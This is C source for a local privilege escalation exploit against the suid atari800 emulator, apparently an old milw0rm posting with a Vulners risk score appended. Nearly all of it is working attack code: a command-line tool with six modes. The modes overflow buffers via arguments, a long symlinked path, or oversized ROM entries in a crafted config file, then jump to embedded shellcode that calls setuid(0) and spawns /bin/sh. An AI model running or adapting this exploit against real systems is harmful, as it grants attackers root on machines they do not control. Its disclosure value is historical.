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atari800 - Local Privilege Escalation
/*
* Exploit for atari800 by pi3 (pi3ki31ny)
*
* pi3@pi3:~$ ./p
*
* ...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...
*
* Ussage:
* [+] ./p [options]
*
* -? <this help screen>
* -v choose a bug:
* 1 - first bug (in all versions Atari800)
* 2 - second bug (in older Atari800 - modiy argv[0])
* 3 - third bug (in config file - OS/A_ROM)
* 4 - fourth bug (in config file - OS/B_ROM)
* 5 - fifth bug (in config file - XL/XE_ROM)
* 6 - sixth bug (in config file - BASIC_ROM)
* -o <offset>
* -p PATH
*
* pi3@pi3:~$
*
* Atari800 have suid bit in default instalation.
* Best regards pi3 (pi3ki31ny).
*
* "Kazdemu trafi sie gowno...!"
*
* Greetz: [greetz on my web] && other my friends (you know who you are)
*
* ...::: -=[ www.pi3.int.pl ]=- :::...
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define PATH "/usr/local/bin/atari800"
#define DIRS 256
#define CONFIG ".atari800.cfg"
/* ...::: -=[ www.pi3.int.pl ]=- :::... */
char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
"\x80"
/* setuid(0) */
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
/* setgid(0) */
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
/* exec /bin/sh */
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"
/* exit(0) */
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
long ret_ad(char *a1, char *a2) {
// return (0xbffffffa-strlen(a1)-strlen(a2));
return 0xbfffee01;
}
int ussage(char *arg) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-v choose a bug:
1 - first bug (in all versions Atari800)
2 - second bug (in older Atari800 - modiy argv[0])
3 - third bug (in config file - OS/A_ROM)
4 - fourth bug (in config file - OS/B_ROM)
5 - fifth bug (in config file - XL/XE_ROM)
6 - sixth bug (in config file - BASIC_ROM)
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}
int main(int argc, char *argv[]) {
long ret,*buf_addr;
char envp[8196],*path=PATH;
static char *sh[0x02];
char buf[DIRS],link[500],conf[5000];
int i,opt,op2=0,offset=0;
FILE *fp;
while((opt = getopt(argc,argv,"p:o:v:?")) != -1) {
switch(opt) {
case 'o':
offset=atoi(optarg);
break;
case 'p':
path=optarg;
break;
case 'v':
op2=atoi(optarg);
break;
case '?':
default:
ussage(argv[0]);
break;
}
}
if (op2==0)
ussage(argv[0]);
if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);
if ( (fp=fopen(CONFIG,"r"))==NULL) {
if ( (fp=fopen(CONFIG,"w"))==NULL) {
printf("I can\'t create config file!\n");
exit(-1);
}
printf("\nCreating config file...\n\n\n");
fprintf(fp,"Atari 800 Emulator, Version 1.3.0\n");
fprintf(fp,"OS/A_ROM=atariosa.rom\n");
fprintf(fp,"OS/B_ROM=atariosb.rom\n");
fprintf(fp,"XL/XE_ROM=atarixl.rom\n");
fprintf(fp,"BASIC_ROM=ataribas.rom\n");
fprintf(fp,"5200_ROM=\n");
fprintf(fp,"DISK_DIR=.\n");
fprintf(fp,"ROM_DIR=.\n");
fprintf(fp,"H1_DIR=\n");
fprintf(fp,"H2_DIR=\n");
fprintf(fp,"H3_DIR=\n");
fprintf(fp,"H4_DIR=\n");
fprintf(fp,"HD_READ_ONLY=1\n");
fprintf(fp,"EXE_DIR=\n");
fprintf(fp,"STATE_DIR=\n");
fprintf(fp,"PRINT_COMMAND=lpr %s\n");
fprintf(fp,"SCREEN_REFRESH_RATIO=1\n");
fprintf(fp,"MACHINE_TYPE=Atari XL/XE\n");
fprintf(fp,"RAM_SIZE=64\n");
fprintf(fp,"DEFAULT_TV_MODE=PAL\n");
fprintf(fp,"DISABLE_BASIC=1\n");
fprintf(fp,"ENABLE_SIO_PATCH=1\n");
fprintf(fp,"ENABLE_H_PATCH=1\n");
fprintf(fp,"ENABLE_P_PATCH=1\n");
fprintf(fp,"ENABLE_NEW_POKEY=1\n");
fprintf(fp,"STEREO_POKEY=0\n");
} fclose(fp);
if (op2==1) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using first bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(link,"AA");
buf_addr=(long*)&link[2];
for(i=0;i<500;i+=4)
*(buf_addr)++ = ret;
link[499]='\0';
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,link,0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==2) {
system("rm -rf `perl -e 'print \"\\x41\"x250'`; rm -f 1");
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using second bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
memset(buf,0x41,(size_t)250);
strcpy(link,"./");
memset(&link[2],0x41,(size_t)252);
assert(mkdir(buf, 0755) != -1);
assert(chdir(buf) != -1);
buf_addr=(long*)buf;
for (i=0; i<80; i+=4)
*(buf_addr)++ = ret;
buf[80]='\0';
// snprintf(link+252,500,"/`perl -e \'print \"\\x01\\xee\\xff\\xbf\"x20\'` pi3");
snprintf(link+252,500,"/%s",buf);
assert(symlink(path, buf) != -1);
assert(chdir("../") != -1);
printf("\nExecuting the vuln program - %s\n\n",link);
// system(link);
execle(link,link,"pi3",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==3) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using third bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"AA");
buf_addr=(long*)&conf[2];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"OS/A_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==4) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using fourth bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"AA");
buf_addr=(long*)&conf[2];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"OS/B_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==5) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using fifth bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"A");
buf_addr=(long*)&conf[1];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"XL/XE_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
} else if (op2==6) {
printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
printf("\t[+] Using sixth bug in Atari800\n");
memset(envp,0x90,sizeof(envp));
for (i=0; i<strlen(shellcode); i++)
envp[8196-strlen(shellcode)+i] = shellcode[i];
sh[0x00]=envp;
sh[0x01]=NULL;
strcpy(conf,"A");
buf_addr=(long*)&conf[1];
for(i=0;i<5000;i+=4)
*(buf_addr)++ = ret;
conf[4999]='\0';
system("rm -rf .pi3.conf");
if ( (fp=fopen(".pi3.conf","w")) == NULL) {
printf("I can\'t create config file!\nExiting...\n");
exit(-1);
}
fprintf(fp,"BASIC_ROM=%s\n",conf);
printf("\nExecuting the vuln program - %s\n\n",PATH);
execle(PATH,PATH,"-config",".pi3.conf",0,sh);
printf("Kazdemu trafi sie gowno...!\n");
return 0;
}
}
// milw0rm.com [2004-11-25]Data
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25 Nov 2004 00:00Current
7.4High risk
Vulners AI Score7.4